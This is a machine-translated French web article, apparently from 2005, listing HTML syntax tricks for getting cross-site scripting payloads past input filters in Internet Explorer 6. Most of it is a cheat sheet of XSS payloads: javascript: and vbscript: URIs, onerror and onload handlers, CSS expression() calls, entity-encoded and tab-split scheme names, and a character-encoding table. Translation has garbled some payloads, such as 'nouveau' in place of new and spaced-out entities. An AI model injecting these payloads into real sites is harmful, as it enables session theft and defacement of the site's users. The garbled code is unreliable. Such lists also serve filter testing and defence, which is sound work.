This page has been robot translated, sorry for typos if any. Original content here.

Fonctions de syntaxe HTML

Créateurs: Algol , zFailure - dernières modifications 13/06/2005

L'une des principales méthodes de protection des sites contre les vulnérabilités XSS consiste à utiliser divers filtres pour les caractères saisis par l'utilisateur. Cet article décrit les fonctionnalités de la syntaxe HTML qui vous permettent de contourner ces filtres.

Il convient de noter que les vulnérabilités XSS dépendent du navigateur. Tous les exemples ci-dessous ont été testés dans IE6. Dans d'autres versions ou dans d'autres navigateurs, les exemples peuvent également ne pas fonctionner. Par exemple, la barre oblique inverse (`) est un délimiteur d'attribut dans IE uniquement. D'autres navigateurs, tels qu'Opera, par exemple, ne considèrent pas ce symbole comme un gardien.

  • Délimiteurs d'attributs de balises.
    Outre l’espace, les caractères suivants sont autorisés: barre oblique ( / ), tabulation, saut de ligne. Le délimiteur peut être omis si l'accessoire précédent est placé entre guillemets.
     <image / src = "1.png" / alt = "Indice" / border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
     <image
     src = "1.png"
     alt = "indice"
     border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
    
  • Délimiteurs d'attributs de balises
    Les valeurs peuvent être placées entre guillemets (doubles et simples) ainsi que dans les apostrophes, seul le général ne peut être limité de quelque manière que ce soit.
     <image src = "" alt = "Mon indice est" border = "0">
     <image src = "" alt = 'Mon info-bulle' border = "0">
     <image src = "" alt = `Mon indice` border =" 0 ">
     <image src = "" alt = Astuce border = "0">
    
  • Encodages de caractères
    Le déchiffrement des caractères dans le script se produit avant son exécution:
      <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 115 & # 112 & # 112 & # 116 & # 56 & # 97 & # 108 & # 101 & # 114 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 41 & # 41>
     <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (uniquement dans l'attribut href )
    
    
  • Délimiteurs littéraux de script
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>>
    
  • Contourner le filtrage de certains caractères
      <img src = javascript: i = nouveau / ** / Image (); i.src = 'http: //bla.bla'> (en remplaçant l'espace par / ** /)
    
    
  • Façons d'exécuter des scripts
    Plusieurs façons d’exécuter automatiquement des scripts:
      <script> alerte ('ok') </ script>
     <script src = 1.js> </ script>
     <body onLoad = alert ('ok')>
     <meta http-equiv = Actualiser le contenu = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alert ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: url (javascript: alert ('ok'))>
     <span style = top: expression (alert ('ok'))> </ span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (ne fonctionne qu'une fois) <style type = "text / css"> @import url (javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param nom = url valeur = javascript: alerte ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (uniquement dans IE) <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (lancez-le uniquement en cliquant sur le lien) <a href = javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> cliquez sur moi </a> (lancez-le uniquement en cliquant sur le lien) <br SIZE = "& {alert ('XSS')} "> (Netscape 4.x uniquement)
    
    
  • Différents protocoles de script, façons de les écrire
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (espaces jusqu'au mot javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <img src = javascript & # 9: alert ()>
     <img src = javascript & # 10: alert ()>
     <img src = javascript & # 13: alert ()>
     <img src = "javascript
     : alert () "> (avant les deux points - un caractère de tabulation)
     
     <img src = "java
     scri
     pt: ale
     rt () "> (dans le mot javascript - un caractère de tabulation aussi un retour à la ligne)
     
    
  • Insérer des scripts avec style
    Les opérateurs de script dans l'attribut style doivent être divisés par " \; ".
     <hr style = `background: url (javascript: alert ('ok 1') \; alert ('ok 2'))`>
    
  • Tags spéciaux.
      <image src = "1.png" alt = "" border = "0"> (la balise img fonctionne également de la même manière) <texte brut > (tout ce qui se déplace plus tard que cette balise sera perçu comme du texte brut - pas du tout HTML) <textarea> (tout ce qui commence à bouger après cette balise sera perçu comme du texte brut - pas du HTML en aucune façon) <xml> (tout ce qui commence plus tard que cette balise ne sera affiché d'aucune façon)
    
    
  • Tableau des codes fréquemment utilisés:

    Symbole Codage décimal 16ème encodage * Encodage de caractères Encodage d'URL
    " & # 34 & # x22; & quot % 22
    '' & # 39 & # x27; % 27
    ` & # 96 & # x60; % 60
    <espace> & # 32 & # x20; +
    <onglet> & # 9 & # x09; % 09
    <retour chariot> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <trait d'union court> & # 173 & # xAD; & timide % AD
    Et & # 38 & # x26; & amp % 26

    * -dans certains cas, le point-virgule peut être omis (si le caractère est à la fin de la ligne, ou si plusieurs caractères de cet encodage sont alignés).

    Voir similaire: http://ha.ckers.org/xss.html
  • Il ne sera pas superflu pour vos amis d'apprendre cette information, partagez un article avec eux!

    Commentaires Développer / réduire la fenêtre de commentaire développer / réduire

    Lorsque vous commentez, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments de personnes réelles, faire preuve de respect et de tolérance envers vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans les conditions de liberté d'expression et d'anonymat offertes par Internet change non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
    L'avez vous aimé? Abonnez-vous aux nouvelles RSS ,
    être le premier à recevoir des informations
    à propos de tous les événements importants du pays et du monde.
    Vous pouvez également soutenir shram.kiev.ua, cliquez sur: